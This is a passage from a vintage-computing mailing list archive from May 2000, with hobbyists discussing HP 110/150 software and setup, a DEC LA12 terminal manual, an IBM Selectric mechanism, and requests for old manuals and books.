also picked up a 110+ with some manuals but no software. I'm not sure if > there even was software for the 110 series, since they're ROM based systems. A little bit, plus you could use some of the generic MS-DOS software that was suitable for the 150s on the 110 and Portable Plus. Once upon a time, I was doing Pascal compilations on a 110 using the Microsoft Pascal compiler on 150-format stiffies. (It wasn't a very fast development system.) -Frank McConnell From mikeford at socal.rr.com Fri May 12 01:03:02 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:41 2005 Subject: Printing Infocom Transcripts from 8-bitters (was Re: KIM Manual / Selectric) In-Reply-To: <20000512041602.18478.qmail@web614.mail.yahoo.com> Message-ID: turn into detectable improvements in the game. I also pitched Infocom about porting RtZ to the Amiga, but it never happened. I got the underlying engine .......... Are you SURE, I am fairly certain I bid on a few cases of Infocomm Amiga versions (might have been the lost treasures series, but I thought it was more). From flo at rdel.co.uk Fri May 12 02:17:32 2000 From: flo at rdel.co.uk (Paul Williams) Date: Sun Feb 27 18:51:41 2005 Subject: DEC Correspondent (LA12) question... References: <20000511113648.A1560@loomcom.com> Message-ID: <391BB00C.FA565ACD@rdel.co.uk> sjm wrote: > > I've got a DEC Correspondent (Model LA12-DB) printing terminal. > But I've got no earthly clue how to configure the thing for baud > rate, flow control, stop bits, anything. There is some setup information in Chapter 13 and Appendix H of the Terminals and Printers Handbook 1983-84, online at http://vt100.net/docs/tp83/ From rigdonj at intellistar.net Fri May 12 08:30:10 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:41 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000201bfbbb8$4a6b8440$59a40b18@C721564-A.sttln1.wa.home.co m> References: <3.0.1.16.20000511141746.343fae10@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000512083010.264f4d3e@mailhost.intellistar.net> Hi Ernest, At 07:17 PM 5/11/00 -0700, you wrote: > > >-----Original Message----- >From: owner-classiccmp@classiccmp.org >[mailto:owner-classiccmp@classiccmp.org]On Behalf Of Joe >Sent: Thursday, May 11, 2000 12:18 PM >To: classiccmp@classiccmp.org >Subject: Re: Couple of cool HP 110/150 finds > > >> >>At 10:47 PM 5/2/00 -0700, Earnest said something about: > >>>Today, I was given a bunch of interesting vintage items. > >>> HP 88396 SCSI to parrallel interface. > > Did you ever find out more about this? > > I just picked up one of one yesterday with the cables. The other end of >the cable that fits the DB-25 connector has a male Centronics style >connector on it. The SCSI port has a feed-through type terminator on it. >Attached to that is a cable that has a micro-SCSI connector on the other >end of it. FWIW the box says "same functionality as 88395". > > Joe > >No, I haven't found anything out about it at all. I haven't really been >looking though, as I'm working on some other things with my Apple IIe. To >tell you the truth, I've been putting off working with my HP 150/110/110+ >stuff because I want to be able to devote some serious focus time to them. >My 150 needs to be re-setup I think, and that'll be a bit complicated for me >since I haven't set one up from scratch before. They're not hard to setup once you get through all the menus and get to the setup menu. Replace the two N-cells in the holder that clips into the back of the 150 before you start. They're used to power the CMOS memory and they're usually dead so the CMOS won't hold it's settings. I have more manuals for it >than I know what to do with, so I shouldn't have to hammer you with to many >questions. > >By the way, I found a new disk for the 150 Touchscreen: > >Advance Link Master#3 (45431-13003) A.01.01 2435 >Upload A.01.02 >Monitor 3000 A.02.04 > >Are you familiar with this bit of software? I'm assuming that it's comm >software for linking a 110/110+ to the 150 but I'm not sure. It's used to make the 150 emulate a terminal and is used to talk to the HP mainframes. I have the manual here, but the program isn't real usefull IMO. > >I also picked up a 110+ with some manuals but no software. I'm not sure if >there even was software for the 110 series, since they're ROM based systems. Actually there is a fair amount of software for the 110. I even have some game programs from Infocom that were modified to run on the 110. I dug out all my 110 software and it filled two good size boxs. I'm still going to make copies for your archives when I get a chance. Joe > >Ernest > > From John.Allain at donnelley.infousa.com Fri May 12 09:03:23 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:51:41 2005 Subject: Selectric photo In-Reply-To: <007401bfbb08$c9f0d7c0$21703ed8@compaq> Message-ID: <000701bfbc1a$d666dbe0$0e0301ac@dba00802.databaseamerica.com> Thanks for the responses so far. FWIW I put up a picture of the "mechanical ALU" of the Selectric here: http://www.panix.com/~allain/ibm_sel.jpg The intriguing thing about it is how rapidly and simply it brought down the information from 50+ keys to such a relatively simple device, without loss of the keypress signature information. John A. From xds_sigma7 at hotmail.com Fri May 12 09:13:39 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:41 2005 Subject: Hmm, while we're HPing, how bout HP-125? Message-ID: <20000512141339.13688.qmail@hotmail.com> Hi, I have a pair of HP-125's, but no software or manuals or the external floppy drives they seem to come with.. have the printer though, and some HP-IB cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST looking machines I've ever seen!!! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From RCini at congressfinancial.com Fri May 12 10:01:51 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:41 2005 Subject: OT: Looking for old book Message-ID: <497A9E0467D2D2119B760090271EB8E50E9105@MAIL10> Hello, all: Sorry for the intrusion, but I'm looking for either the following book, accompanying diskette, or both: "The Art of C" by Herbert Schildt. If anyone has a spare copy or wants to lighten their bookshelf a bit, please let me know off-list. Thanks! Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From sethm at loomcom.com Fri May 12 11:28:25 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:51:41 2005 Subject: DEC Correspondent (LA12) question... In-Reply-To: <391BB00C.FA565ACD@rdel.co.uk>; from flo@rdel.co.uk on Fri, May 12, 2000 at 08:17:32AM +0100 References: <20000511113648.A1560@loomcom.com> <391BB00C.FA565ACD@rdel.co.uk> Message-ID: <20000512092825.A4350@loomcom.com> On Fri, May 12, 2000 at 08:17:32AM +0100, Paul Williams wrote: > sjm wrote: > > > > I've got a DEC Correspondent (Model LA12-DB) printing terminal. > > But I've got no earthly clue how to configure the thing for baud > > rate, flow control, stop bits, anything. > > There is some setup information in Chapter 13 and Appendix H of the > Terminals and Printers Handbook 1983-84, online at > http://vt100.net/docs/tp83/ Hey, this is fantastic! Thanks -- I've been looking for exactly this reference for a while now. I'll have my LA12 humming along nicely now! -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From george at racsys.rt.rain.com Fri May 12 11:35:35 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:51:41 2005 Subject: Getting all the system connected... In-Reply-To: Message-ID: I took my minor collection to an educators conference here in the northwest a few years back. The conference organizers provided a lockable exhibit room and I provided old working machines. It was a real hit! I talk with a lot of teachers that went down memory lane when they saw some of my machines. My only rule that in order to be exhibited it had to run. Twas a lot of fun. George ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Wed, 10 May 2000, Mike Ford wrote: > What I always envisioned was som